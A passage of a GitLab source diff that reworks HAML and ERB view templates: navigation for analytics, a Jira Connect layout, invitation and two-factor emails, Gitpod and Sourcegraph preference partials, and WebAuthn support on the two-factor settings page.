@@ -6,6 +6,8 @@
%li
= link_to _("Support"), support_url
%li
+ = render 'shared/help_dropdown_forum_link'
+ %li
%button.js-shortcuts-modal-trigger{ type: "button" }
= _("Keyboard shortcuts")
%span.text-secondary.float-right{ "aria-hidden": true }= '?'.html_safe
diff --git a/app/views/layouts/instance_statistics.html.haml b/app/views/layouts/instance_statistics.html.haml
deleted file mode 100644
index 1de6b385c86..00000000000
--- a/app/views/layouts/instance_statistics.html.haml
+++ /dev/null
@@ -1,6 +0,0 @@
-- page_title _('Analytics')
-- header_title _('Analytics'), instance_statistics_root_path
-- nav 'instance_statistics'
-- @left_sidebar = true
-
-= render template: 'layouts/application'
diff --git a/app/views/layouts/jira_connect.html.haml b/app/views/layouts/jira_connect.html.haml
new file mode 100644
index 00000000000..fdeb3d3c9ac
--- /dev/null
+++ b/app/views/layouts/jira_connect.html.haml
@@ -0,0 +1,13 @@
+%html{ lang: "en" }
+ %head
+ %meta{ content: "text/html; charset=utf-8", "http-equiv" => "Content-Type" }
+ %title
+ GitLab
+ = stylesheet_link_tag 'https://unpkg.com/@atlaskit/css-reset@3.0.6/dist/bundle.css'
+ = stylesheet_link_tag 'https://unpkg.com/@atlaskit/reduced-ui-pack@10.5.5/dist/bundle.css'
+ = javascript_include_tag 'https://connect-cdn.atl-paas.net/all.js'
+ = javascript_include_tag 'https://unpkg.com/jquery@3.3.1/dist/jquery.min.js'
+ = yield :head
+ %body
+ .ac-content
+ = yield
diff --git a/app/views/layouts/nav/_analytics_link.html.haml b/app/views/layouts/nav/_analytics_link.html.haml
deleted file mode 100644
index f481aeecc1b..00000000000
--- a/app/views/layouts/nav/_analytics_link.html.haml
+++ /dev/null
@@ -1,4 +0,0 @@
-- return unless dashboard_nav_link?(:analytics)
-= nav_link(controller: [:dev_ops_score, :cohorts], html_options: { class: "d-none d-xl-block"}) do
- = link_to instance_statistics_root_path, class: 'chart-icon', title: _('Analytics'), aria: { label: _('Analytics') }, data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
- = sprite_icon('chart', size: 18)
diff --git a/app/views/layouts/nav/_dashboard.html.haml b/app/views/layouts/nav/_dashboard.html.haml
index 29cacbe4aff..40ea42091bd 100644
--- a/app/views/layouts/nav/_dashboard.html.haml
+++ b/app/views/layouts/nav/_dashboard.html.haml
@@ -43,8 +43,6 @@
= link_to dashboard_snippets_path, class: 'dashboard-shortcuts-snippets', data: { qa_selector: 'snippets_link' } do
= _('Snippets')
- = render_if_exists 'layouts/nav/sidebar/analytics_link'
-
%li.dropdown
= render_if_exists 'dashboard/nav_link_list'
@@ -66,8 +64,6 @@
= link_to sherlock_transactions_path, class: 'admin-icon' do
= _('Sherlock Transactions')
- = render_if_exists 'layouts/nav/analytics_link'
-
- if current_user.admin?
= nav_link(controller: 'admin/dashboard', html_options: { class: "d-none d-xl-block"}) do
= link_to admin_root_path, class: 'admin-icon qa-admin-area-link', title: _('Admin Area'), aria: { label: _('Admin Area') }, data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
diff --git a/app/views/layouts/nav/sidebar/_admin.html.haml b/app/views/layouts/nav/sidebar/_admin.html.haml
index 7fb5fff1e05..cb5277c02f0 100644
--- a/app/views/layouts/nav/sidebar/_admin.html.haml
+++ b/app/views/layouts/nav/sidebar/_admin.html.haml
@@ -48,6 +48,33 @@
%span
= _('Gitaly Servers')
+ = nav_link(controller: admin_analytics_nav_links) do
+ = link_to admin_dev_ops_report_path, data: { qa_selector: 'admin_analytics_link' } do
+ .nav-icon-container
+ = sprite_icon('chart')
+ %span.nav-item-name
+ = _('Analytics')
+
+ %ul.sidebar-sub-level-items{ data: { qa_selector: 'admin_sidebar_analytics_submenu_content' } }
+ = nav_link(controller: admin_analytics_nav_links, html_options: { class: "fly-out-top-item" }) do
+ = link_to admin_dev_ops_report_path do
+ %strong.fly-out-top-item-name
+ = _('Analytics')
+ %li.divider.fly-out-top-item
+ = nav_link(controller: :dev_ops_report) do
+ = link_to admin_dev_ops_report_path, title: _('DevOps Report') do
+ %span
+ = _('DevOps Report')
+ = nav_link(controller: :cohorts) do
+ = link_to admin_cohorts_path, title: _('Cohorts') do
+ %span
+ = _('Cohorts')
+ - if Feature.enabled?(:instance_statistics)
+ = nav_link(controller: :instance_statistics) do
+ = link_to admin_instance_statistics_path, title: _('Instance Statistics') do
+ %span
+ = _('Instance Statistics')
+
= nav_link(controller: admin_monitoring_nav_links) do
= link_to admin_system_info_path, data: { qa_selector: 'admin_monitoring_link' } do
.nav-icon-container
diff --git a/app/views/layouts/nav/sidebar/_analytics_link.html.haml b/app/views/layouts/nav/sidebar/_analytics_link.html.haml
deleted file mode 100644
index 9e5ae422e2d..00000000000
--- a/app/views/layouts/nav/sidebar/_analytics_link.html.haml
+++ /dev/null
@@ -1,4 +0,0 @@
-- return unless dashboard_nav_link?(:analytics)
-= nav_link(controller: [:dev_ops_score, :cohorts]) do
- = link_to instance_statistics_root_path, class: 'd-xl-none' do
- = _('Analytics')
diff --git a/app/views/layouts/nav/sidebar/_group.html.haml b/app/views/layouts/nav/sidebar/_group.html.haml
index 47dad21edd7..9e9e6493e5b 100644
--- a/app/views/layouts/nav/sidebar/_group.html.haml
+++ b/app/views/layouts/nav/sidebar/_group.html.haml
@@ -157,6 +157,12 @@
%span
= _('General')
+ - if group_level_integrations?
+ = nav_link(controller: :integrations) do
+ = link_to group_settings_integrations_path(@group), title: _('Integrations') do
+ %span
+ = _('Integrations')
+
= nav_link(path: 'groups#projects') do
= link_to projects_group_path(@group), title: _('Projects') do
%span
@@ -171,11 +177,6 @@
= link_to group_settings_ci_cd_path(@group), title: _('CI / CD') do
%span
= _('CI / CD')
- - if Feature.enabled?(:group_level_integrations, @group)
- = nav_link(controller: :integrations) do
- = link_to group_settings_integrations_path(@group), title: _('Integrations') do
- %span
- = _('Integrations')
= render_if_exists "groups/ee/settings_nav"
diff --git a/app/views/layouts/nav/sidebar/_instance_statistics.html.haml b/app/views/layouts/nav/sidebar/_instance_statistics.html.haml
deleted file mode 100644
index 979d98ec382..00000000000
--- a/app/views/layouts/nav/sidebar/_instance_statistics.html.haml
+++ /dev/null
@@ -1,11 +0,0 @@
-.nav-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?) }
- .nav-sidebar-inner-scroll
- .context-header
- = link_to instance_statistics_root_path, title: _('Analytics') do
- .avatar-container.s40.settings-avatar
- = sprite_icon('chart', size: 24)
- .sidebar-context-title= _('Analytics')
- %ul.sidebar-top-level-items
- = render 'layouts/nav/sidebar/instance_statistics_links'
-
- = render 'shared/sidebar_toggle_button'
diff --git a/app/views/layouts/nav/sidebar/_instance_statistics_links.html.haml b/app/views/layouts/nav/sidebar/_instance_statistics_links.html.haml
deleted file mode 100644
index ee2c83dc31e..00000000000
--- a/app/views/layouts/nav/sidebar/_instance_statistics_links.html.haml
+++ /dev/null
@@ -1,25 +0,0 @@
-- return unless can?(current_user, :read_instance_statistics)
-= nav_link(controller: :dev_ops_score) do
- = link_to instance_statistics_dev_ops_score_index_path do
- .nav-icon-container
- = sprite_icon('comment')
- %span.nav-item-name
- = _('DevOps Score')
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(controller: :dev_ops_score, html_options: { class: "fly-out-top-item" } ) do
- = link_to instance_statistics_dev_ops_score_index_path do
- %strong.fly-out-top-item-name
- = _('DevOps Score')
-
-- if Gitlab::CurrentSettings.usage_ping_enabled
- = nav_link(controller: :cohorts) do
- = link_to instance_statistics_cohorts_path do
- .nav-icon-container
- = sprite_icon('users')
- %span.nav-item-name
- = _('Cohorts')
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(controller: :cohorts, html_options: { class: "fly-out-top-item" } ) do
- = link_to instance_statistics_cohorts_path do
- %strong.fly-out-top-item-name
- = _('Cohorts')
diff --git a/app/views/layouts/nav/sidebar/_project.html.haml b/app/views/layouts/nav/sidebar/_project.html.haml
index 054311214ab..0eef587d7c7 100644
--- a/app/views/layouts/nav/sidebar/_project.html.haml
+++ b/app/views/layouts/nav/sidebar/_project.html.haml
@@ -167,7 +167,7 @@
= render_if_exists "layouts/nav/requirements_link", project: @project
- if project_nav_tab? :pipelines
- = nav_link(controller: [:pipelines, :builds, :jobs, :pipeline_schedules, :artifacts], unless: -> { current_path?('projects/pipelines#charts') }) do
+ = nav_link(controller: [:pipelines, :builds, :jobs, :pipeline_schedules, :artifacts, :test_cases], unless: -> { current_path?('projects/pipelines#charts') }) do
= link_to project_pipelines_path(@project), class: 'shortcuts-pipelines qa-link-pipelines rspec-link-pipelines', data: { qa_selector: 'ci_cd_link' } do
.nav-icon-container
= sprite_icon('rocket')
@@ -175,7 +175,7 @@
= _('CI / CD')
%ul.sidebar-sub-level-items
- = nav_link(controller: [:pipelines, :builds, :jobs, :pipeline_schedules, :artifacts], html_options: { class: "fly-out-top-item" }) do
+ = nav_link(controller: [:pipelines, :builds, :jobs, :pipeline_schedules, :artifacts, :test_cases], html_options: { class: "fly-out-top-item" }) do
= link_to project_pipelines_path(@project) do
%strong.fly-out-top-item-name
= _('CI / CD')
@@ -204,6 +204,8 @@
%span
= _('Schedules')
+ = render_if_exists "layouts/nav/test_cases_link", project: @project
+
= render_if_exists 'layouts/nav/sidebar/project_security_link' # EE-specific
- if project_nav_tab? :operations
diff --git a/app/views/notify/_failed_builds.html.haml b/app/views/notify/_failed_builds.html.haml
index 1711c34a842..cde0ac21d6d 100644
--- a/app/views/notify/_failed_builds.html.haml
+++ b/app/views/notify/_failed_builds.html.haml
@@ -23,10 +23,3 @@
= build.stage
%td{ align: "right", style: "font-family: 'Helvetica Neue',Helvetica,Arial,sans-serif; padding: 16px 0; color: #8c8c8c; font-weight: 500; font-size: 14px;" }
= render "notify/links/#{build.to_partial_path}", pipeline: pipeline, build: build
- %tr.build-log
- - if build.has_trace?
- %td{ colspan: "2", style: "font-family: 'Helvetica Neue',Helvetica,Arial,sans-serif; padding: 0 0 16px;" }
- %pre{ style: "font-family: Monaco,'Lucida Console','Courier New',Courier,monospace; background-color: #fafafa; border-radius: 4px; overflow: hidden; white-space: pre-wrap; word-break: break-all; font-size:13px; line-height: 1.4; padding: 16px 8px; color: #333333; margin: 0;" }
- = build.trace.html(last_lines: 30).html_safe
- - else
- %td{ colspan: "2" }
diff --git a/app/views/notify/autodevops_disabled_email.text.erb b/app/views/notify/autodevops_disabled_email.text.erb
index 91092060e74..f849c017265 100644
--- a/app/views/notify/autodevops_disabled_email.text.erb
+++ b/app/views/notify/autodevops_disabled_email.text.erb
@@ -14,7 +14,4 @@ had <%= failed.size %> failed <%= 'build'.pluralize(failed.size) %>.
<%= render "notify/links/#{build.to_partial_path}", pipeline: @pipeline, build: build %>
Stage: <%= build.stage %>
Name: <%= build.name %>
- <% if build.has_trace? -%>
- Trace: <%= build.trace.raw(last_lines: 30) %>
- <% end -%>
<% end -%>
diff --git a/app/views/notify/disabled_two_factor_email.html.haml b/app/views/notify/disabled_two_factor_email.html.haml
new file mode 100644
index 00000000000..8c64a43fc07
--- /dev/null
+++ b/app/views/notify/disabled_two_factor_email.html.haml
@@ -0,0 +1,6 @@
+%p
+ = say_hi(@user)
+%p
+ = two_factor_authentication_disabled_text
+%p
+ = re_enable_two_factor_authentication_text(format: :html)
diff --git a/app/views/notify/disabled_two_factor_email.text.erb b/app/views/notify/disabled_two_factor_email.text.erb
new file mode 100644
index 00000000000..46eeab4414f
--- /dev/null
+++ b/app/views/notify/disabled_two_factor_email.text.erb
@@ -0,0 +1,5 @@
+<%= say_hi(@user) %>
+
+<%= two_factor_authentication_disabled_text %>
+
+<%= re_enable_two_factor_authentication_text %>
diff --git a/app/views/notify/member_invited_email.html.haml b/app/views/notify/member_invited_email.html.haml
index ae3fecf404a..4fcd2936d25 100644
--- a/app/views/notify/member_invited_email.html.haml
+++ b/app/views/notify/member_invited_email.html.haml
@@ -10,7 +10,7 @@
#{member_source.model_name.singular} as #{content_tag :span, member.human_access, class: :highlight}.
%p
- = link_to 'Accept invitation', invite_url(@token)
+ = link_to 'Accept invitation', invite_url(@token, @invite_url_params)
or
= link_to 'decline', decline_invite_url(@token)
diff --git a/app/views/notify/member_invited_email.text.erb b/app/views/notify/member_invited_email.text.erb
index d944c3b4a50..e6e6a685f92 100644
--- a/app/views/notify/member_invited_email.text.erb
+++ b/app/views/notify/member_invited_email.text.erb
@@ -1,4 +1,4 @@
You have been invited <%= "by #{sanitize_name(member.created_by.name)} " if member.created_by %>to join the <%= member_source.human_name %> <%= member_source.model_name.singular %> as <%= member.human_access %>.
-Accept invitation: <%= invite_url(@token) %>
+Accept invitation: <%= invite_url(@token, @invite_url_params) %>
Decline invitation: <%= decline_invite_url(@token) %>
diff --git a/app/views/notify/member_invited_email_experiment.html.haml b/app/views/notify/member_invited_email_experiment.html.haml
new file mode 100644
index 00000000000..5cfb6acee05
--- /dev/null
+++ b/app/views/notify/member_invited_email_experiment.html.haml
@@ -0,0 +1,12 @@
+%tr
+ %td.text-content
+ %h2.invite-header
+ = s_('InviteEmail|You are invited!')
+ %p
+ - if member.created_by
+ = html_escape(s_("InviteEmail|%{inviter} invited you")) % { inviter: (link_to member.created_by.name, user_url(member.created_by)).html_safe }
+ = html_escape(s_("InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}")) % { strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe, project_or_group_name: member_source.human_name }
+ %br
+ = s_("InviteEmail|%{project_or_group} as a %{role}") % { project_or_group: member_source.model_name.singular, role: member.human_access.downcase }
+ %p.invite-actions
+ = link_to s_('InviteEmail|Join now'), invite_url(@token, @invite_url_params), class: 'invite-btn-join'
diff --git a/app/views/notify/member_invited_email_experiment.text.erb b/app/views/notify/member_invited_email_experiment.text.erb
new file mode 100644
index 00000000000..6843cea4df7
--- /dev/null
+++ b/app/views/notify/member_invited_email_experiment.text.erb
@@ -0,0 +1,10 @@
+<% project_and_role = s_('InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}') \
+ % { project_or_group_name: member_source.human_name, project_or_group: member_source.model_name.singular, role: member.human_access.downcase } %>
+
+<% if member.created_by %>
+<%= s_('InviteEmail|%{inviter} invited you') % { inviter: sanitize_name(member.created_by.name) } %> <%= project_and_role %>
+<% else %>
+<%= s_('InviteEmail|You have been invited') %> <%= project_and_role %>
+<% end %>
+
+Join now: <%= invite_url(@token, @invite_url_params) %>
diff --git a/app/views/notify/pipeline_failed_email.text.erb b/app/views/notify/pipeline_failed_email.text.erb
index 41b26842dbc..b388aad7048 100644
--- a/app/views/notify/pipeline_failed_email.text.erb
+++ b/app/views/notify/pipeline_failed_email.text.erb
@@ -34,8 +34,4 @@ had <%= failed.size %> failed <%= 'build'.pluralize(failed.size) %>.
<%= render "notify/links/#{build.to_partial_path}", pipeline: @pipeline, build: build %>
Stage: <%= build.stage %>
Name: <%= build.name %>
-<% if build.has_trace? -%>
-Trace: <%= build.trace.raw(last_lines: 30) %>
-<% end -%>
-
<% end -%>
diff --git a/app/views/profiles/accounts/_providers.html.haml b/app/views/profiles/accounts/_providers.html.haml
index a87191d0fa4..f7368c5e921 100644
--- a/app/views/profiles/accounts/_providers.html.haml
+++ b/app/views/profiles/accounts/_providers.html.haml
@@ -11,11 +11,11 @@
- if auth_active?(provider)
- if unlink_allowed
= link_to unlink_profile_account_path(provider: provider), method: :delete, class: 'provider-btn' do
- = s_('Profiles|Disconnect')
+ = s_('Profiles|Disconnect %{provider}') % { provider: label_for_provider(provider) }
- else
%a.provider-btn
- = s_('Profiles|Active')
+ = s_('Profiles|%{provider} Active') % { provider: label_for_provider(provider) }
- elsif link_allowed
= link_to omniauth_authorize_path(:user, provider), method: :post, class: 'provider-btn gl-text-blue-500' do
- = s_('Profiles|Connect')
+ = s_('Profiles|Connect %{provider}') % { provider: label_for_provider(provider) }
= render_if_exists 'profiles/accounts/group_saml_unlink_buttons', group_saml_identities: group_saml_identities
diff --git a/app/views/profiles/accounts/show.html.haml b/app/views/profiles/accounts/show.html.haml
index 20660e61f38..c875caca94a 100644
--- a/app/views/profiles/accounts/show.html.haml
+++ b/app/views/profiles/accounts/show.html.haml
@@ -55,8 +55,8 @@
= s_('Profiles|Deleting an account has the following effects:')
= render 'users/deletion_guidance', user: current_user
- %button#delete-account-button.btn.btn-danger.disabled{ data: { toggle: 'modal',
- target: '#delete-account-modal', qa_selector: 'delete_account_button' } }
+ -# Delete button here
+ %button#delete-account-button.btn.btn-danger.disabled{ data: { qa_selector: 'delete_account_button' } }
= s_('Profiles|Delete account')
#delete-account-modal{ data: { action_url: user_registration_path,
diff --git a/app/views/profiles/gpg_keys/_key.html.haml b/app/views/profiles/gpg_keys/_key.html.haml
index e05f121c5d9..f1abafa4149 100644
--- a/app/views/profiles/gpg_keys/_key.html.haml
+++ b/app/views/profiles/gpg_keys/_key.html.haml
@@ -21,7 +21,7 @@
= s_('Profiles|Created %{time_ago}'.html_safe) % { time_ago:time_ago_with_tooltip(key.created_at)}
= link_to profile_gpg_key_path(key), data: { confirm: _('Are you sure? Removing this GPG key does not affect already signed commits.') }, method: :delete, class: "btn btn-danger gl-ml-3" do
%span.sr-only= _('Remove')
- = icon('trash')
+ = sprite_icon('remove')
= link_to revoke_profile_gpg_key_path(key), data: { confirm: _('Are you sure? All commits that were signed with this GPG key will be unverified.') }, method: :put, class: "btn btn-danger gl-ml-3" do
%span.sr-only= _('Revoke')
= _('Revoke')
diff --git a/app/views/profiles/notifications/_group_settings.html.haml b/app/views/profiles/notifications/_group_settings.html.haml
index 404bb224655..ea698a296fb 100644
--- a/app/views/profiles/notifications/_group_settings.html.haml
+++ b/app/views/profiles/notifications/_group_settings.html.haml
@@ -2,7 +2,7 @@
.gl-responsive-table-row.notification-list-item
.table-section.section-40
- %span.notification.fa.fa-holder.gl-mr-2
+ %span.notification.gl-mr-2
= notification_icon(notification_icon_level(setting, emails_disabled))
%span.str-truncated
diff --git a/app/views/profiles/notifications/_project_settings.html.haml b/app/views/profiles/notifications/_project_settings.html.haml
index f9172ae87aa..6e81d585f24 100644
--- a/app/views/profiles/notifications/_project_settings.html.haml
+++ b/app/views/profiles/notifications/_project_settings.html.haml
@@ -1,7 +1,7 @@
- emails_disabled = project.emails_disabled?
%li.notification-list-item
- %span.notification.fa.fa-holder.gl-mr-2
+ %span.notification.gl-mr-2
= notification_icon(notification_icon_level(setting, emails_disabled))
%span.str-truncated
diff --git a/app/views/profiles/notifications/show.html.haml b/app/views/profiles/notifications/show.html.haml
index ab04d977a4d..da684c29372 100644
--- a/app/views/profiles/notifications/show.html.haml
+++ b/app/views/profiles/notifications/show.html.haml
@@ -39,10 +39,11 @@
%hr
%h5
- = _('Groups (%{count})') % { count: @group_notifications.size }
+ = _('Groups (%{count})') % { count: @user_groups.total_count }
%div
- @group_notifications.each do |setting|
= render 'group_settings', setting: setting, group: setting.source
+ = paginate @user_groups, theme: 'gitlab'
%h5
= _('Projects (%{count})') % { count: @project_notifications.size }
%p.account-well
diff --git a/app/views/profiles/preferences/_gitpod.html.haml b/app/views/profiles/preferences/_gitpod.html.haml
new file mode 100644
index 00000000000..69c9443ebbb
--- /dev/null
+++ b/app/views/profiles/preferences/_gitpod.html.haml
@@ -0,0 +1,11 @@
+- gitpod_link = link_to("Gitpod#{sprite_icon('external-link', size: 12, css_class: 'ml-1 vertical-align-center')}".html_safe, 'https://gitpod.io/', target: '_blank', rel: 'noopener noreferrer')
+
+%label.label-bold#gitpod
+ = s_('Gitpod')
+= link_to sprite_icon('question-o'), help_page_path('integration/gitpod.md'), target: '_blank', class: 'has-tooltip', title: _('More information')
+.form-group.form-check
+ = f.check_box :gitpod_enabled, class: 'form-check-input'
+ = f.label :gitpod_enabled, class: 'form-check-label' do
+ = s_('Gitpod|Enable Gitpod integration').html_safe
+ .form-text.text-muted
+ = s_('Enable %{gitpod_link} integration to launch a development environment in your browser directly from GitLab.').html_safe % { gitpod_link: gitpod_link }
diff --git a/app/views/profiles/preferences/_integrations.html.haml b/app/views/profiles/preferences/_integrations.html.haml
new file mode 100644
index 00000000000..037fe5df263
--- /dev/null
+++ b/app/views/profiles/preferences/_integrations.html.haml
@@ -0,0 +1,18 @@
+- views = integration_views
+- return unless views.any?
+
+.col-sm-12
+ %hr
+
+.col-lg-4.profile-settings-sidebar#integrations
+ %h4.gl-mt-0
+ = s_('Preferences|Integrations')
+ %p
+ = s_('Preferences|Customize integrations with third party services.')
+ = succeed '.' do
+ = link_to _('Learn more'), help_page_path('user/profile/preferences.md', anchor: 'integrations'), target: '_blank'
+
+.col-lg-8
+ - views.each do |view|
+ = render view, f: f
+
diff --git a/app/views/profiles/preferences/_sourcegraph.html.haml b/app/views/profiles/preferences/_sourcegraph.html.haml
index f3530da9a5f..fdd0be22664 100644
--- a/app/views/profiles/preferences/_sourcegraph.html.haml
+++ b/app/views/profiles/preferences/_sourcegraph.html.haml
@@ -1,26 +1,10 @@
-- return unless Gitlab::Sourcegraph::feature_available? && Gitlab::CurrentSettings.sourcegraph_enabled
-- sourcegraph_url = Gitlab::CurrentSettings.sourcegraph_url
-
-.col-sm-12
- %hr
-
-.col-lg-4.profile-settings-sidebar#integrations
- %h4.gl-mt-0
- = s_('Preferences|Integrations')
- %p
- = s_('Preferences|Customize integrations with third party services.')
- = succeed '.' do
- = link_to _('Learn more'), help_page_path('user/profile/preferences.md', anchor: 'integrations'), target: '_blank'
-.col-lg-8
- %label.label-bold
- = s_('Preferences|Sourcegraph')
- = link_to icon('question-circle'), help_page_path('user/profile/preferences.md', anchor: 'sourcegraph'), target: '_blank', class: 'has-tooltip', title: _('More information')
- .form-group.form-check
- = f.check_box :sourcegraph_enabled, class: 'form-check-input'
- = f.label :sourcegraph_enabled, class: 'form-check-label' do
- - link_start = '<a href="%{url}">'.html_safe % { url: sourcegraph_url }
- - link_end = '</a>'.html_safe
- = s_('Preferences|Enable integrated code intelligence on code views').html_safe % { link_start: link_start, link_end: link_end }
- .form-text.text-muted
- = sourcegraph_url_message
- = sourcegraph_experimental_message
+%label.label-bold
+ = s_('Preferences|Sourcegraph')
+= link_to sprite_icon('question-o'), help_page_path('user/profile/preferences.md', anchor: 'sourcegraph'), target: '_blank', class: 'has-tooltip', title: _('More information')
+.form-group.form-check
+ = f.check_box :sourcegraph_enabled, class: 'form-check-input'
+ = f.label :sourcegraph_enabled, class: 'form-check-label' do
+ = s_('Preferences|Enable integrated code intelligence on code views').html_safe
+ .form-text.text-muted
+ = sourcegraph_url_message
+ = sourcegraph_experimental_message
diff --git a/app/views/profiles/preferences/show.html.haml b/app/views/profiles/preferences/show.html.haml
index 54ca8788864..2c705886f47 100644
--- a/app/views/profiles/preferences/show.html.haml
+++ b/app/views/profiles/preferences/show.html.haml
@@ -1,6 +1,9 @@
- page_title _('Preferences')
- @content_class = "limit-container-width" unless fluid_layout
+- Gitlab::Themes.each do |theme|
+ = stylesheet_link_tag "themes/theme_#{theme.css_class.gsub('ui-', '')}"
+
= form_for @user, url: profile_preferences_path, remote: true, method: :put, html: { class: 'row gl-mt-3 js-preferences-form' } do |f|
.col-lg-4.application-theme#navigation-theme
%h4.gl-mt-0
@@ -135,7 +138,7 @@
.form-text.text-muted
= s_('Preferences|For example: 30 mins ago.')
- = render 'sourcegraph', f: f
+ = render 'integrations', f: f
.col-lg-4.profile-settings-sidebar
.col-lg-8
diff --git a/app/views/profiles/preferences/update.js.erb b/app/views/profiles/preferences/update.js.erb
index 8397acbf1b3..241262880c1 100644
--- a/app/views/profiles/preferences/update.js.erb
+++ b/app/views/profiles/preferences/update.js.erb
@@ -14,7 +14,7 @@ $('input[type=submit]').enable()
// Show flash messages
<% if flash.notice %>
- new Flash('<%= flash.discard(:notice) %>', 'notice')
+ new Flash({ message: '<%= flash.discard(:notice) %>', type: 'notice'})
<% elsif flash.alert %>
- new Flash('<%= flash.discard(:alert) %>', 'alert')
+ new Flash({ message: '<%= flash.discard(:alert) %>', type: 'alert'})
<% end %>
diff --git a/app/views/profiles/show.html.haml b/app/views/profiles/show.html.haml
index 672f9c9a0c0..1eb3a14525f 100644
--- a/app/views/profiles/show.html.haml
+++ b/app/views/profiles/show.html.haml
@@ -113,7 +113,7 @@
- private_profile_label = capture do
= s_("Profiles|Don't display activity-related personal information on your profiles")
= f.check_box :private_profile, label: private_profile_label, inline: true, wrapper_class: 'mr-0'
- = link_to icon('question-circle'), help_page_path('user/profile/index.md', anchor: 'private-profile')
+ = link_to sprite_icon('question-o'), help_page_path('user/profile/index.md', anchor: 'private-profile')
%h5= s_("Profiles|Private contributions")
= f.check_box :include_private_contributions, label: s_('Profiles|Include private contributions on my profile'), wrapper_class: 'mb-2', inline: true
.help-block
@@ -135,10 +135,12 @@
%img.modal-profile-crop-image{ alt: s_("Profiles|Avatar cropper") }
.crop-controls
.btn-group
- %button.btn.btn-primary{ data: { method: 'zoom', option: '0.1' } }
- %span.fa.fa-search-plus
%button.btn.btn-primary{ data: { method: 'zoom', option: '-0.1' } }
- %span.fa.fa-search-minus
+ %span
+ = sprite_icon('search-minus')
+ %button.btn.btn-primary{ data: { method: 'zoom', option: '0.1' } }
+ %span
+ = sprite_icon('search-plus')
.modal-footer
%button.btn.btn-primary.js-upload-user-avatar{ type: 'button' }
= s_("Profiles|Set new profile picture")
diff --git a/app/views/profiles/two_factor_auths/create.html.haml b/app/views/profiles/two_factor_auths/create.html.haml
index 973eb8136c4..5a756cca0ab 100644
--- a/app/views/profiles/two_factor_auths/create.html.haml
+++ b/app/views/profiles/two_factor_auths/create.html.haml
@@ -1,6 +1,6 @@
- page_title _('Two-factor Authentication'), _('Account')
-.alert.alert-success
+.gl-alert.gl-alert-success.gl-mb-5
= _('Congratulations! You have enabled Two-factor Authentication!')
= render 'codes'
diff --git a/app/views/profiles/two_factor_auths/show.html.haml b/app/views/profiles/two_factor_auths/show.html.haml
index bce43b16d27..82265938180 100644
--- a/app/views/profiles/two_factor_auths/show.html.haml
+++ b/app/views/profiles/two_factor_auths/show.html.haml
@@ -1,6 +1,7 @@
- page_title _('Two-Factor Authentication'), _('Account')
- add_to_breadcrumbs(_('Two-Factor Authentication'), profile_account_path)
- @content_class = "limit-container-width" unless fluid_layout
+- webauthn_enabled = Feature.enabled?(:webauthn)
.js-two-factor-auth{ 'data-two-factor-skippable' => "#{two_factor_skippable?}", 'data-two_factor_skip_url' => skip_profile_two_factor_auth_path }
.row.gl-mt-3
@@ -18,7 +19,7 @@
%div
= link_to _('Disable two-factor authentication'), profile_two_factor_auth_path,
method: :delete,
- data: { confirm: _('Are you sure? This will invalidate your registered applications and U2F devices.') },
+ data: { confirm: webauthn_enabled ? _('Are you sure? This will invalidate your registered applications and U2F / WebAuthn devices.') : _('Are you sure? This will invalidate your registered applications and U2F devices.') },
class: 'btn btn-danger gl-mr-3'
= form_tag codes_profile_two_factor_auth_path, {style: 'display: inline-block', method: :post} do |f|
= submit_tag _('Regenerate recovery codes'), class: 'btn'
@@ -45,7 +46,7 @@
= _('Time based: Yes')
= form_tag profile_two_factor_auth_path, method: :post do |f|
- if @error
- .alert.alert-danger
+ .gl-alert.gl-alert-danger.gl-mb-5
= @error
.form-group
= label_tag :pin_code, _('Pin code'), class: "label-bold"
@@ -58,22 +59,35 @@
.row.gl-mt-3
.col-lg-4
%h4.gl-mt-0
- = _('Register Universal Two-Factor (U2F) Device')
+ - if webauthn_enabled
+ = _('Register WebAuthn Device')
+ - else
+ = _('Register Universal Two-Factor (U2F) Device')
%p
= _('Use a hardware device to add the second factor of authentication.')
%p
- = _("As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser.")
+ - if webauthn_enabled
+ = _("As WebAuthn devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a WebAuthn device. That way you'll always be able to log in - even when you're using an unsupported browser.")
+ - else
+ = _("As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser.")
.col-lg-8
- - if @u2f_registration.errors.present?
- = form_errors(@u2f_registration)
- = render "u2f/register"
+ - registration = webauthn_enabled ? @webauthn_registration : @u2f_registration
+ - if registration.errors.present?
+ = form_errors(registration)
+ - if webauthn_enabled
+ = render "authentication/register", target_path: create_webauthn_profile_two_factor_auth_path
+ - else
+ = render "authentication/register", target_path: create_u2f_profile_two_factor_auth_path
%hr
%h5
- = _('U2F Devices (%{length})') % { length: @u2f_registrations.length }
+ - if webauthn_enabled
+ = _('WebAuthn Devices (%{length})') % { length: @registrations.length }
+ - else
+ = _('U2F Devices (%{length})') % { length: @registrations.length }
- - if @u2f_registrations.present?
+ - if @registrations.present?
.table-responsive
%table.table.table-bordered.u2f-registrations
%colgroup
@@ -86,12 +100,15 @@
%th= s_('2FADevice|Registered On')
%th
%tbody
- - @u2f_registrations.each do |registration|
+ - @registrations.each do |registration|
%tr
- %td= registration.name.presence || html_escape_once(_("&lt;no name set&gt;")).html_safe
- %td= registration.created_at.to_date.to_s(:medium)
- %td= link_to _('Delete'), profile_u2f_registration_path(registration), method: :delete, class: "btn btn-danger float-right", data: { confirm: _('Are you sure you want to delete this device? This action cannot be undone.') }
+ %td= registration[:name].presence || html_escape_once(_("&lt;no name set&gt;")).html_safe
+ %td= registration[:created_at].to_date.to_s(:medium)
+ %td= link_to _('Delete'), registration[:delete_path], method: :delete, class: "btn btn-danger float-right", data: { confirm: _('Are you sure you want to delete this device? This action cannot be undone.') }
- else
.settings-message.text-center
- = _("You don't have any U2F devices registered yet.")
+ - if webauthn_enabled
+ = _("You don't have any WebAuthn devices registered yet.")
+ - else
+ = _("You don't have any U2F devices registered yet.")
